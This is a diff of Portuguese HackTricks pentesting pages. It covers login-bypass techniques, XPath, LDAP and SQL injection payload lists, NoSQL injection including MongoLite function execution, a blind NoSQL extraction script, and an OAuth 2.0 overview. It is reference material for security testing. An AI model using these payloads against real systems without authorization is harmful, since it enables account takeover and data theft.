<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
|
@ -20,28 +20,28 @@
|
||||||
|
|
||||||
## **Bypass de login regular**
|
## **Bypass de login regular**
|
||||||
|
|
||||||
Se você encontrar uma página de login, aqui você pode encontrar algumas técnicas para tentar burlá-la:
|
Se você encontrar uma página de login, aqui estão algumas técnicas para tentar burlá-la:
|
||||||
|
|
||||||
* Verifique os **comentários** dentro da página (role para baixo e para a direita?)
|
* Verifique os **comentários** dentro da página (role para baixo e para a direita?)
|
||||||
* Verifique se você pode **acessar diretamente as páginas restritas**
|
* Verifique se você pode **acessar diretamente as páginas restritas**
|
||||||
* Verifique **não enviar os parâmetros** (não envie nenhum ou apenas 1)
|
* Verifique **não enviar os parâmetros** (não envie nenhum ou apenas 1)
|
||||||
* Verifique o **erro de comparações PHP:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
|
* Verifique o **erro de comparação do PHP:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
|
||||||
* **Mude o tipo de conteúdo para json** e envie valores json (bool true incluído)
|
* **Mude o tipo de conteúdo para json** e envie valores json (bool true incluído)
|
||||||
* Se você receber uma resposta dizendo que o POST não é suportado, você pode tentar enviar o **JSON no corpo, mas com uma solicitação GET** com `Content-Type: application/json`
|
* Se você receber uma resposta dizendo que o POST não é suportado, você pode tentar enviar o **JSON no corpo, mas com uma solicitação GET** com `Content-Type: application/json`
|
||||||
* Verifique o potencial erro de análise do nodejs (leia [**isto**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
|
* Verifique o potencial erro de análise do nodejs (leia [**isto**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
|
||||||
* O Nodejs transformará essa carga útil em uma consulta semelhante à seguinte: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` o que torna a parte da senha sempre verdadeira.
|
* O Nodejs transformará essa carga útil em uma consulta semelhante à seguinte: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` o que faz com que a parte da senha seja sempre verdadeira.
|
||||||
* Se você puder enviar um objeto JSON, você pode enviar `"password":{"password": 1}` para burlar o login.
|
* Se você puder enviar um objeto JSON, você pode enviar `"password":{"password": 1}` para burlar o login.
|
||||||
* Lembre-se de que para burlar este login você ainda precisa **saber e enviar um nome de usuário válido**.
|
* Lembre-se de que para burlar este login você ainda precisa **saber e enviar um nome de usuário válido**.
|
||||||
* **Adicionar a opção `"stringifyObjects":true`** ao chamar `mysql.createConnection` eventualmente b**loqueará todos os comportamentos inesperados quando `Object` é passado** como parâmetro.
|
* **Adicionar `"stringifyObjects":true`** opção ao chamar `mysql.createConnection` eventualmente b**loqueará todos os comportamentos inesperados quando `Object` é passado** como parâmetro.
|
||||||
* Verifique as credenciais:
|
* Verifique as credenciais:
|
||||||
* [**Credenciais padrão**](../../generic-methodologies-and-resources/brute-force.md#default-credentials) da tecnologia/plataforma usada
|
* [**Credenciais padrão**](../../generic-methodologies-and-resources/brute-force.md#default-credentials) da tecnologia/plataforma usada
|
||||||
* **Combinações comuns** (root, admin, password, nome da tecnologia, usuário padrão com uma dessas senhas).
|
* **Combinações comuns** (root, admin, password, nome da tecnologia, usuário padrão com uma dessas senhas).
|
||||||
* Crie um dicionário usando **Cewl**, **adicione** o **nome de usuário e senha padrão** (se houver) e tente fazer força bruta usando todas as palavras como **nomes de usuário e senha**
|
* Crie um dicionário usando **Cewl**, **adicione** o **nome de usuário e senha padrão** (se houver) e tente fazer força bruta usando todas as palavras como **nomes de usuário e senha**
|
||||||
* **Força bruta** usando um **dicionário maior (**[**Força bruta**](../../generic-methodologies-and-resources/brute-force.md#http-post-form)**)**
|
* **Força bruta** usando um **dicionário maior (**[**Força bruta**](../../generic-methodologies-and-resources/brute-force.md#http-post-form)**)**
|
||||||
|
|
||||||
### Bypass de autenticação de Injeção SQL
|
### Bypass de autenticação de injeção SQL
|
||||||
|
|
||||||
[Aqui você pode encontrar vários truques para burlar o login via **injeções SQL**](../sql-injection/#authentication-bypass).
|
[Aqui você pode encontrar várias dicas para burlar o login via **injeções SQL**](../sql-injection/#authentication-bypass).
|
||||||
|
|
||||||
Na página a seguir, você pode encontrar uma **lista personalizada para tentar burlar o login** via Injeções SQL:
|
Na página a seguir, você pode encontrar uma **lista personalizada para tentar burlar o login** via Injeções SQL:
|
||||||
|
|
||||||
|
@ -49,15 +49,15 @@ Na página a seguir, você pode encontrar uma **lista personalizada para tentar
|
||||||
[sql-login-bypass.md](sql-login-bypass.md)
|
[sql-login-bypass.md](sql-login-bypass.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Bypass de autenticação de Injeção No SQL
|
### Bypass de autenticação de injeção No SQL
|
||||||
|
|
||||||
[Aqui você pode encontrar vários truques para burlar o login via **No SQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.**
|
[Aqui você pode encontrar várias dicas para burlar o login via **No SQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.**
|
||||||
|
|
||||||
Como as Injeções NoSQL requerem alterar o valor dos parâmetros, você precisará testá-los manualmente.
|
Como as Injeções NoSQL exigem alterar o valor dos parâmetros, você precisará testá-los manualmente.
|
||||||
|
|
||||||
### Bypass de autenticação de Injeção XPath
|
### Bypass de autenticação de injeção XPath
|
||||||
|
|
||||||
[Aqui você pode encontrar vários truques para burlar o login via **Injeção XPath**.](../xpath-injection.md#authentication-bypass)
|
[Aqui você pode encontrar várias dicas para burlar o login via **Injeção XPath.**](../xpath-injection.md#authentication-bypass)
|
||||||
```
|
```
|
||||||
' or '1'='1
|
' or '1'='1
|
||||||
' or ''='
|
' or ''='
|
||||||
|
@ -75,7 +75,7 @@ admin' or '1'='2
|
||||||
```
|
```
|
||||||
### Autenticação de injeção LDAP
|
### Autenticação de injeção LDAP
|
||||||
|
|
||||||
[Aqui você pode encontrar vários truques para ignorar o login via **Injeção LDAP.**](../ldap-injection.md#login-bypass)
|
[Aqui você pode encontrar vários truques para contornar o login via **Injeção LDAP.**](../ldap-injection.md#login-bypass)
|
||||||
```
|
```
|
||||||
*
|
*
|
||||||
*)(&
|
*)(&
|
||||||
|
@ -110,7 +110,7 @@ As páginas geralmente redirecionam os usuários após o login, verifique se voc
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
|
|
@ -1,21 +1,21 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
Esta lista contém **payloads para bypass de login via XPath, LDAP e SQL injection** (nessa ordem).
|
Esta lista contém **payloads para burlar o login via XPath, LDAP e injeção SQL**(nessa ordem).
|
||||||
|
|
||||||
A maneira de usar esta lista é colocar as **primeiras 200 linhas como nome de usuário e senha.** Depois, coloque a lista completa primeiro no nome de usuário e depois nos campos de senha, enquanto insere alguma senha (como _Pass1234._) ou algum nome de usuário conhecido (como _admin_).
|
A maneira de usar esta lista é colocar as **primeiras 200 linhas como nome de usuário e senha**. Em seguida, coloque a lista completa primeiro no nome de usuário e depois nas entradas de senha enquanto coloca alguma senha (como _Pass1234._) ou algum nome de usuário conhecido (como _admin_).
|
||||||
```
|
```
|
||||||
admin
|
admin
|
||||||
password
|
password
|
||||||
|
@ -824,14 +824,14 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver a sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -12,12 +12,12 @@ Acesse hoje:
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -97,7 +97,7 @@ in JSON
|
||||||
...
|
...
|
||||||
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
|
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
|
||||||
```
|
```
|
||||||
### Execução Arbitrária de Funções PHP
|
### Execução Arbitrária de Funções em PHP
|
||||||
|
|
||||||
Usando o operador **$func** da biblioteca [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (usado por padrão), pode ser possível executar uma função arbitrária como neste [relatório](https://swarm.ptsecurity.com/rce-cockpit-cms/).
|
Usando o operador **$func** da biblioteca [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (usado por padrão), pode ser possível executar uma função arbitrária como neste [relatório](https://swarm.ptsecurity.com/rce-cockpit-cms/).
|
||||||
```python
|
```python
|
||||||
|
@ -168,7 +168,7 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
|
||||||
```
|
```
|
||||||
## Script de Blind NoSQL
|
## Script de Blind NoSQL
|
||||||
|
|
||||||
Blind NoSQL injection is similar to blind SQL injection, where the attacker does not see the result of the injection directly. The attacker needs to infer the result based on the application's behavior.
|
Blind NoSQL é uma técnica de injeção de NoSQL que pode ser explorada para recuperar informações confidenciais de um banco de dados NoSQL. Este script automatiza o processo de exploração de injeção de NoSQL cega, permitindo aos testadores de penetração extrair dados sensíveis de forma eficiente.
|
||||||
```python
|
```python
|
||||||
import requests, string
|
import requests, string
|
||||||
|
|
||||||
|
@ -267,7 +267,7 @@ Outras formas de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -9,8 +9,8 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -18,9 +18,9 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
O OAuth oferece várias versões, com informações fundamentais acessíveis na [documentação do OAuth 2.0](https://oauth.net/2/). Esta discussão se concentra principalmente no amplamente utilizado [tipo de concessão de código de autorização OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), fornecendo um **framework de autorização que permite que um aplicativo acesse ou execute ações na conta de um usuário em outro aplicativo** (o servidor de autorização).
|
O OAuth oferece várias versões, com informações fundamentais acessíveis na [documentação do OAuth 2.0](https://oauth.net/2/). Esta discussão se concentra principalmente no amplamente utilizado [tipo de concessão de código de autorização OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), fornecendo um **framework de autorização que permite que um aplicativo acesse ou execute ações na conta de um usuário em outro aplicativo** (o servidor de autorização).
|
||||||
|
|
||||||
Considere um site hipotético _**https://exemplo.com**_, projetado para **mostrar todas as suas postagens em redes sociais**, incluindo as privadas. Para alcançar isso, é utilizado o OAuth 2.0. _https://exemplo.com_ solicitará sua permissão para **acessar suas postagens em redes sociais**. Consequentemente, uma tela de consentimento aparecerá em _https://redesocial.com_, detalhando as **permissões solicitadas e o desenvolvedor fazendo a solicitação**. Após sua autorização, _https://exemplo.com_ ganha a capacidade de **acessar suas postagens em seu nome**.
|
Considere um site hipotético _**https://exemplo.com**_, projetado para **mostrar todas as suas postagens em redes sociais**, incluindo as privadas. Para alcançar isso, o OAuth 2.0 é empregado. _https://exemplo.com_ solicitará sua permissão para **acessar suas postagens em redes sociais**. Consequentemente, uma tela de consentimento aparecerá em _https://redesocial.com_, detalhando as **permissões solicitadas e o desenvolvedor fazendo a solicitação**. Após sua autorização, _https://exemplo.com_ ganha a capacidade de **acessar suas postagens em seu nome**.
|
||||||
|
|
||||||
É essencial compreender os seguintes componentes dentro do framework do OAuth 2.0:
|
É essencial compreender os seguintes componentes dentro do framework OAuth 2.0:
|
||||||
|
|
||||||
- **dono do recurso**: Você, como **usuário/entidade**, autoriza o acesso ao seu recurso, como suas postagens em redes sociais.
|
- **dono do recurso**: Você, como **usuário/entidade**, autoriza o acesso ao seu recurso, como suas postagens em redes sociais.
|
||||||
- **servidor de recursos**: O **servidor que gerencia solicitações autenticadas** após o aplicativo ter obtido um `token de acesso` em nome do `dono do recurso`, por exemplo, **https://redesocial.com**.
|
- **servidor de recursos**: O **servidor que gerencia solicitações autenticadas** após o aplicativo ter obtido um `token de acesso` em nome do `dono do recurso`, por exemplo, **https://redesocial.com**.
|
||||||
|
@ -28,10 +28,10 @@ Considere um site hipotético _**https://exemplo.com**_, projetado para **mostra
|
||||||
- **servidor de autorização**: O **servidor que emite `tokens de acesso`** para o `aplicativo cliente` após a autenticação bem-sucedida do `dono do recurso` e a obtenção de autorização, por exemplo, **https://redesocial.com**.
|
- **servidor de autorização**: O **servidor que emite `tokens de acesso`** para o `aplicativo cliente` após a autenticação bem-sucedida do `dono do recurso` e a obtenção de autorização, por exemplo, **https://redesocial.com**.
|
||||||
- **client\_id**: Um identificador público e único para o aplicativo.
|
- **client\_id**: Um identificador público e único para o aplicativo.
|
||||||
- **client\_secret:** Uma chave confidencial, conhecida apenas pelo aplicativo e pelo servidor de autorização, usada para gerar `tokens de acesso`.
|
- **client\_secret:** Uma chave confidencial, conhecida apenas pelo aplicativo e pelo servidor de autorização, usada para gerar `tokens de acesso`.
|
||||||
- **response\_type**: Um valor que especifica **o tipo de token solicitado**, como `código`.
|
- **response\_type**: Um valor especificando **o tipo de token solicitado**, como `código`.
|
||||||
- **escopo**: O **nível de acesso** que o `aplicativo cliente` está solicitando do `dono do recurso`.
|
- **escopo**: O **nível de acesso** que o `aplicativo cliente` está solicitando do `dono do recurso`.
|
||||||
- **redirect\_uri**: A **URL para a qual o usuário é redirecionado após a autorização**. Isso geralmente deve estar alinhado com a URL de redirecionamento pré-registrada.
|
- **redirect\_uri**: A **URL para a qual o usuário é redirecionado após a autorização**. Isso geralmente deve estar alinhado com a URL de redirecionamento pré-registrada.
|
||||||
- **state**: Um parâmetro para **manter dados durante o redirecionamento do usuário para e do servidor de autorização**. Sua singularidade é fundamental para servir como um **mecanismo de proteção CSRF**.
|
- **state**: Um parâmetro para **manter dados durante o redirecionamento do usuário para e do servidor de autorização**. Sua singularidade é crítica para servir como um **mecanismo de proteção CSRF**.
|
||||||
- **grant\_type**: Um parâmetro que indica **o tipo de concessão e o tipo de token a ser retornado**.
|
- **grant\_type**: Um parâmetro que indica **o tipo de concessão e o tipo de token a ser retornado**.
|
||||||
- **código**: O código de autorização do `servidor de autorização`, usado em conjunto com `client_id` e `client_secret` pelo aplicativo cliente para adquirir um `token de acesso`.
|
- **código**: O código de autorização do `servidor de autorização`, usado em conjunto com `client_id` e `client_secret` pelo aplicativo cliente para adquirir um `token de acesso`.
|
||||||
- **token de acesso**: O **token que o aplicativo cliente usa para solicitações de API** em nome do `dono do recurso`.
|
- **token de acesso**: O **token que o aplicativo cliente usa para solicitações de API** em nome do `dono do recurso`.
|
||||||
|
@ -51,13 +51,13 @@ https://socialmedia.com/auth
|
||||||
&scope=readPosts
|
&scope=readPosts
|
||||||
&state=randomString123
|
&state=randomString123
|
||||||
```
|
```
|
||||||
3. Em seguida, você é apresentado a uma página de consentimento.
|
3. Em seguida, você é apresentado com uma página de consentimento.
|
||||||
|
|
||||||
4. Após a sua aprovação, a Rede Social envia uma resposta para o `redirect_uri` com os parâmetros `code` e `state`:
|
4. Após a sua aprovação, a Rede Social envia uma resposta para o `redirect_uri` com os parâmetros `code` e `state`:
|
||||||
```
|
```
|
||||||
https://example.com?code=uniqueCode123&state=randomString123
|
https://example.com?code=uniqueCode123&state=randomString123
|
||||||
```
|
```
|
||||||
5. https://example.com utiliza este `código`, juntamente com seu `client_id` e `client_secret`, para fazer uma solicitação do lado do servidor para obter um `access_token` em seu nome, permitindo o acesso às permissões que você consentiu:
|
5. https://example.com utiliza este `código`, juntamente com seu `client_id` e `client_secret`, para fazer uma solicitação do lado do servidor para obter um `access_token` em seu nome, permitindo o acesso às permissões às quais você consentiu:
|
||||||
```
|
```
|
||||||
POST /oauth/access_token
|
POST /oauth/access_token
|
||||||
Host: socialmedia.com
|
Host: socialmedia.com
|
||||||
|
@ -71,7 +71,7 @@ Host: socialmedia.com
|
||||||
|
|
||||||
